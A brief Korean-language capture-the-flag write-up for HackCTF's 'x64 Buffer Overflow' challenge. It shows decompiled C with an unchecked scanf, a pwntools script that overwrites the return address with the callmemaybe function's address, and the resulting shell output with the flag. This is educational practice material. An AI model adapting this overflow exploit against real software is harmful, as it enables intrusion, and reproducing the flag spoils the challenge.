[HackCTF] x64 Buffer Overflow

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s);
  return 0;
}
```

변수 s에 scanf로 값을 입력받고 그 길이를 v5에 저장 후 s를 print한다.

scanf에서 입력값에 대한 검증이 없으므로 bof취약점이 발생할 수 있다.

변수 s에서 리턴주소까지 공간을 아무 글자나 넣어서 채워주고 리턴 주소를 내부의 다른 함수 callmemaybe로 설정해주면 된다.

```
from pwn import *

callme=0x400606

payload = b'a'*280
payload += p64(callme)

r = remote("ctf.j0n9hyun.xyz", 3004)

r.sendline(payload)

r.interactive()
```

64비트이므로 p64함수로 callmemaybe함수 주소를 변환해주고 익스플로잇 코드를 짜면 이렇다.

```
$ ls
flag
main
$ cat flag
HackCTF{64b17_b0f_15_51mpl3_700}
```